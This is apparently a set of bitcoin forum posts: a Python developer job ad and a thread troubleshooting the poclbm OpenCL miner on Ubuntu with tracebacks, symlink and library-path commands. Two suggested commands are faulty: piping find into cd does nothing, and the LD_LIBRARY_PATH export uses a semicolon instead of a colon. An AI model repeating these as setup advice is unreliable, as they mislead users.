Python Developers

I'm looking for capable Python developers to work with me on a Bitcoin project.

Experience with wxpython would be a nice to have - not required.

The position/contract is paid, based in London but remote working is fine.

If you fit the bill please pm.

Also Dijkstra was wrong: -

How do you feel about purchasing a few bitcoins prior to writing your articles in return for a favorable mention?

Re: Python OpenCL Miner on Ubuntu not running.

Damn this is getting to be a pain.
BTW thanks for the help, but now getting a Logic error.

Code:
Traceback (most recent call last):
  File "poclbm.py", line 27, in
    platforms = cl.get_platforms()
pyopencl.LogicError: clGetPlatformIDs failed: invalid/unknown error code
rocko@nova:~$ python poclbm.py -d 0 --user un --pass pwTraceback (most recent call last):
  File "poclbm.py", line 27, in
    platforms = cl.get_platforms()
pyopencl.LogicError: clGetPlatformIDs failed: invalid/unknown error code


OpenCL seems to be returning a code that pyopencl doesn't like, I'm a bit stumped here but it feels like a driver issue.

This is a lot of effort for the 2Mh/s you'll get out of this card.

    from BitcoinMiner import *
  File "/home/rocko/BitcoinMiner.py", line 8, in
    from sha256 import *
ImportError: No module named sha256

Thanks.  Grin
But I'm still getting the same error.
Code:
Traceback (most recent call last):
  File "poclbm.py", line 3, in
    import pyopencl as cl
  File "/usr/lib/pymodules/python2.6/pyopencl/__init__.py", line 3, in
    import pyopencl._cl as _cl
ImportError: libOpenCL.so.1: cannot open shared object file: No such file or directory



Lets give these a shot: -

Code:
sudo ln -s /usr/lib/libOpenCL.so /usr/lib/libOpenCL.so.1
sudo ln -s /usr/lib64/libOpenCL.so /usr/lib64/libOpenCL.so.1

Make sure its in the current directory from where you are calling
Code:
python poclbm.py

Code:
find /home -name "poclbm.py" | cd
Will find and put you in the right directory.

Code:
Reading package lists... Done
Building dependency tree      
Reading state information... Done
python-pyopencl is already the newest version.
The following packages were automatically installed and are no longer required:
  mesa-utils python-wxgtk2.8 libglew1.5 zlib-bin freedroid-data
  python-wxversion
Use 'apt-get autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.

It appears pyopencl is installed.

The file in question is in fact called _init_.py
This is what it imports:
import pyopencl._cl as _cl
from pyopencl._cl import *
import inspect as _inspect

Running ldd on pyopen_.cl gives "no such file or directory".


Doing whereis libOpenCL.so* gives me :
/usr/lib/libOpenCL.so /usr/lib64/libOpenCL.so

How do I set the LD_LIBRARY_PATH environment variable ?


Code:
export LD_LIBRARY_PATH=/usr/lib64/;${LD_LIBRARY_PATH}

When electricity costs > than mining returns I think you'll see drop, but then the miners will return. Smiley

Use this to scan the port https://www.grc.com/x/ne.dll?bh0bkyd2

Problem had been resolved with the new Bitcoin Client (0.3.23). Connections are established instantly now.

Interesting link though.

Thanks.

Make sure you check the Map uPNP option in the preferences, you'll get a better connection.

Looks like OpenCL is not installed or installed incorrectly, try running this and paste the result: -

Code:
sudo apt-get install python-pyopencl
